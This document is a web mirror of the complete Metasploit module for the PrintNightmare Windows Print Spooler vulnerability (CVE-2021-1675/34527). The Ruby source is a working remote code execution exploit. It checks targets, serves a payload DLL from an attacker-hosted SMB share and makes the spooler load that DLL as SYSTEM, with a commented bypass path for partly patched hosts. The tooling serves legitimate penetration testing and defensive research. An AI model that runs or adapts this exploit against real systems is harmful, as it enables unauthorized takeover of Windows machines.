Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb
27903 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'windows_error'
7
require 'ruby_smb'
8
require 'ruby_smb/error'
9
10
class MetasploitModule < Msf::Exploit::Remote
11
12
prepend Msf::Exploit::Remote::AutoCheck
13
include Msf::Exploit::Remote::DCERPC
14
include Msf::Exploit::Remote::SMB::Client::Authenticated
15
include Msf::Exploit::Remote::SMB::Server::Share
16
include Msf::Exploit::Retry
17
include Msf::Exploit::EXE
18
include Msf::Exploit::Deprecated
19
20
moved_from 'auxiliary/admin/dcerpc/cve_2021_1675_printnightmare'
21
22
PrintSystem = RubySMB::Dcerpc::PrintSystem
23
24
def initialize(info = {})
25
super(
26
update_info(
27
info,
28
'Name' => 'Print Spooler Remote DLL Injection',
29
'Description' => %q{
30
The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted
31
DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN
32
vector which requires the Print Spooler service to be running.
33
},
34
'Author' => [
35
'Zhiniang Peng', # vulnerability discovery / research
36
'Xuefeng Li', # vulnerability discovery / research
37
'Zhipeng Huo', # vulnerability discovery
38
'Piotr Madej', # vulnerability discovery
39
'Zhang Yunhai', # vulnerability discovery
40
'cube0x0', # PoC
41
'Spencer McIntyre', # metasploit module
42
'Christophe De La Fuente', # metasploit module co-author
43
],
44
'License' => MSF_LICENSE,
45
'DefaultOptions' => {
46
'SRVHOST' => Rex::Socket.source_address
47
},
48
'Stance' => Msf::Exploit::Stance::Aggressive,
49
'Targets' => [
50
[
51
'Windows', {
52
'Platform' => 'win',
53
'Arch' => [ ARCH_X64, ARCH_X86 ]
54
},
55
],
56
],
57
'DisclosureDate' => '2021-06-08',
58
'References' => [
59
['CVE', '2021-1675'],
60
['CVE', '2021-34527'],
61
['URL', 'https://github.com/cube0x0/CVE-2021-1675'],
62
['URL', 'https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare'],
63
['URL', 'https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1'],
64
['URL', 'https://github.com/byt3bl33d3r/ItWasAllADream'],
65
['ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES]
66
],
67
'Notes' => {
68
'AKA' => [ 'PrintNightmare' ],
69
'Stability' => [CRASH_SERVICE_DOWN],
70
'Reliability' => [UNRELIABLE_SESSION],
71
'SideEffects' => [
72
ARTIFACTS_ON_DISK # the dll will be copied to the remote server
73
]
74
}
75
)
76
)
77
78
register_advanced_options(
79
[
80
OptInt.new('ReconnectTimeout', [ true, 'The timeout in seconds for reconnecting to the named pipe', 10 ])
81
]
82
)
83
deregister_options('AutoCheck')
84
end
85
86
def check
87
begin
88
connect(backend: :ruby_smb)
89
rescue Rex::ConnectionError
90
return Exploit::CheckCode::Unknown('Failed to connect to the remote service.')
91
end
92
93
begin
94
smb_login
95
rescue Rex::Proto::SMB::Exceptions::LoginError
96
return Exploit::CheckCode::Unknown('Failed to authenticate to the remote service.')
97
end
98
99
begin
100
dcerpc_bind_spoolss
101
rescue RubySMB::Error::UnexpectedStatusCode => e
102
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
103
if nt_status == ::WindowsError::NTStatus::STATUS_OBJECT_NAME_NOT_FOUND
104
print_error("The 'Print Spooler' service is disabled.")
105
end
106
return Exploit::CheckCode::Safe("The DCERPC bind failed with error #{nt_status.name} (#{nt_status.description}).")
107
end
108
109
@target_arch = dcerpc_getarch
110
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/e81cbc09-ab05-4a32-ae4a-8ec57b436c43
111
if @target_arch == ARCH_X64
112
@environment = 'Windows x64'
113
elsif @target_arch == ARCH_X86
114
@environment = 'Windows NT x86'
115
else
116
return Exploit::CheckCode::Detected('Successfully bound to the remote service.')
117
end
118
119
print_status("Target environment: Windows v#{simple.client.os_version} (#{@target_arch})")
120
121
print_status('Enumerating the installed printer drivers...')
122
drivers = enum_printer_drivers(@environment)
123
@driver_path = "#{drivers.driver_path.rpartition('\\').first}\\UNIDRV.DLL"
124
vprint_status("Using driver path: #{@driver_path}")
125
126
print_status('Retrieving the path of the printer driver directory...')
127
@config_directory = get_printer_driver_directory(@environment)
128
vprint_status("Using driver directory: #{@config_directory}") unless @config_directory.nil?
129
130
container = driver_container(
131
p_config_file: 'C:\\Windows\\System32\\kernel32.dll',
132
p_data_file: "\\??\\UNC\\127.0.0.1\\#{Rex::Text.rand_text_alphanumeric(4..8)}\\#{Rex::Text.rand_text_alphanumeric(4..8)}.dll"
133
)
134
135
case add_printer_driver_ex(container)
136
when nil # prevent the module from erroring out in case the response can't be mapped to a Win32 error code
137
return Exploit::CheckCode::Unknown('Received unknown status code, implying the target is not vulnerable.')
138
when ::WindowsError::Win32::ERROR_PATH_NOT_FOUND
139
return Exploit::CheckCode::Vulnerable('Received ERROR_PATH_NOT_FOUND, implying the target is vulnerable.')
140
when ::WindowsError::Win32::ERROR_BAD_NET_NAME
141
return Exploit::CheckCode::Vulnerable('Received ERROR_BAD_NET_NAME, implying the target is vulnerable.')
142
when ::WindowsError::Win32::ERROR_ACCESS_DENIED
143
return Exploit::CheckCode::Safe('Received ERROR_ACCESS_DENIED implying the target is patched.')
144
end
145
146
Exploit::CheckCode::Detected('Successfully bound to the remote service.')
147
end
148
149
def run
150
fail_with(Failure::BadConfig, 'Can not use an x64 payload on an x86 target.') if @target_arch == ARCH_X86 && payload.arch.first == ARCH_X64
151
fail_with(Failure::NoTarget, 'Only x86 and x64 targets are supported.') if @environment.nil?
152
fail_with(Failure::Unknown, 'Failed to enumerate the driver directory.') if @config_directory.nil?
153
154
super
155
end
156
157
def setup
158
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
159
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
160
end
161
162
super
163
end
164
165
def start_service
166
file_name << '.dll'
167
self.file_contents = generate_payload_dll
168
169
super
170
end
171
172
def primer
173
dll_path = unc
174
if dll_path =~ /^\\\\([\w:.\[\]]+)\\(.*)$/
175
# targets patched for CVE-2021-34527 (but with Point and Print enabled) need to use this path style as a bypass
176
# otherwise the operation will fail with ERROR_INVALID_PARAMETER
177
dll_path = "\\??\\UNC\\#{Regexp.last_match(1)}\\#{Regexp.last_match(2)}"
178
end
179
vprint_status("Using DLL path: #{dll_path}")
180
181
filename = dll_path.rpartition('\\').last
182
container = driver_container(p_config_file: 'C:\\Windows\\System32\\kernel32.dll', p_data_file: dll_path)
183
184
3.times do
185
add_printer_driver_ex(container)
186
end
187
188
1.upto(3) do |directory|
189
container.driver_info.p_config_file.assign("#{@config_directory}\\3\\old\\#{directory}\\#{filename}")
190
break if add_printer_driver_ex(container).nil?
191
end
192
193
cleanup_service
194
end
195
196
def driver_container(**kwargs)
197
PrintSystem::DriverContainer.new(
198
level: 2,
199
tag: 2,
200
driver_info: PrintSystem::DriverInfo2.new(
201
c_version: 3,
202
p_name_ref_id: 0x00020000,
203
p_environment_ref_id: 0x00020004,
204
p_driver_path_ref_id: 0x00020008,
205
p_data_file_ref_id: 0x0002000c,
206
p_config_file_ref_id: 0x00020010,
207
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913
208
p_name: "#{Rex::Text.rand_text_alpha_upper(2..4)} #{Rex::Text.rand_text_numeric(2..3)}",
209
p_environment: @environment,
210
p_driver_path: @driver_path,
211
**kwargs
212
)
213
)
214
end
215
216
def dcerpc_bind_spoolss
217
handle = dcerpc_handle(PrintSystem::UUID, '1.0', 'ncacn_np', ['\\spoolss'])
218
vprint_status("Binding to #{handle} ...")
219
dcerpc_bind(handle)
220
vprint_status("Bound to #{handle} ...")
221
end
222
223
def enum_printer_drivers(environment)
224
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2)
225
response = rprn_call('RpcEnumPrinterDrivers', p_environment: environment, level: 2, p_drivers: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
226
fail_with(Failure::UnexpectedReply, 'Failed to enumerate printer drivers.') unless response.p_drivers&.length
227
DriverInfo2.read(response.p_drivers.map(&:chr).join)
228
end
229
230
def get_printer_driver_directory(environment)
231
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2)
232
response = rprn_call('RpcGetPrinterDriverDirectory', p_environment: environment, level: 2, p_driver_directory: [0] * response.pcb_needed, cb_buf: response.pcb_needed)
233
fail_with(Failure::UnexpectedReply, 'Failed to obtain the printer driver directory.') unless response.p_driver_directory&.length
234
RubySMB::Field::Stringz16.read(response.p_driver_directory.map(&:chr).join).encode('ASCII-8BIT')
235
end
236
237
def add_printer_driver_ex(container)
238
flags = PrintSystem::APD_INSTALL_WARNED_DRIVER | PrintSystem::APD_COPY_FROM_DIRECTORY | PrintSystem::APD_COPY_ALL_FILES
239
240
begin
241
response = rprn_call('RpcAddPrinterDriverEx', p_name: "\\\\#{datastore['RHOST']}", p_driver_container: container, dw_file_copy_flags: flags)
242
rescue RubySMB::Error::UnexpectedStatusCode => e
243
nt_status = ::WindowsError::NTStatus.find_by_retval(e.status_code.value).first
244
message = "Error #{nt_status.name} (#{nt_status.description})"
245
if nt_status == ::WindowsError::NTStatus::STATUS_PIPE_BROKEN
246
# STATUS_PIPE_BROKEN is the return value when the payload is executed, so this is somewhat expected
247
print_status('The named pipe connection was broken, reconnecting...')
248
reconnected = retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do
249
dcerpc_bind_spoolss
250
rescue RubySMB::Error::CommunicationError, RubySMB::Error::UnexpectedStatusCode => e
251
false
252
else
253
true
254
end
255
256
unless reconnected
257
vprint_status('Failed to reconnect to the named pipe.')
258
return nil
259
end
260
261
print_status('Successfully reconnected to the named pipe.')
262
retry
263
else
264
print_error(message)
265
end
266
267
return nt_status
268
end
269
270
error = ::WindowsError::Win32.find_by_retval(response.error_status.value).first
271
message = "RpcAddPrinterDriverEx response #{response.error_status}"
272
message << " #{error.name} (#{error.description})" unless error.nil?
273
vprint_status(message)
274
error
275
end
276
277
def rprn_call(name, **kwargs)
278
request = PrintSystem.const_get("#{name}Request").new(**kwargs)
279
280
begin
281
raw_response = dcerpc.call(request.opnum, request.to_binary_s)
282
rescue Rex::Proto::DCERPC::Exceptions::Fault => e
283
fail_with(Failure::UnexpectedReply, "The #{name} Print System RPC request failed (#{e.message}).")
284
end
285
286
PrintSystem.const_get("#{name}Response").read(raw_response)
287
end
288
289
class DriverInfo2Header < BinData::Record
290
endian :little
291
292
uint32 :c_version
293
uint32 :name_offset
294
uint32 :environment_offset
295
uint32 :driver_path_offset
296
uint32 :data_file_offset
297
uint32 :config_file_offset
298
end
299
300
# this is a partial implementation that just parses the data, this is *not* the same struct as PrintSystem::DriverInfo2
301
# see: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/2825d22e-c5a5-47cd-a216-3e903fd6e030
302
DriverInfo2 = Struct.new(:header, :name, :environment, :driver_path, :data_file, :config_file) do
303
def self.read(data)
304
header = DriverInfo2Header.read(data)
305
new(
306
header,
307
RubySMB::Field::Stringz16.read(data[header.name_offset..]).encode('ASCII-8BIT'),
308
RubySMB::Field::Stringz16.read(data[header.environment_offset..]).encode('ASCII-8BIT'),
309
RubySMB::Field::Stringz16.read(data[header.driver_path_offset..]).encode('ASCII-8BIT'),
310
RubySMB::Field::Stringz16.read(data[header.data_file_offset..]).encode('ASCII-8BIT'),
311
RubySMB::Field::Stringz16.read(data[header.config_file_offset..]).encode('ASCII-8BIT')
312
)
313
end
314
end
315
end
316
317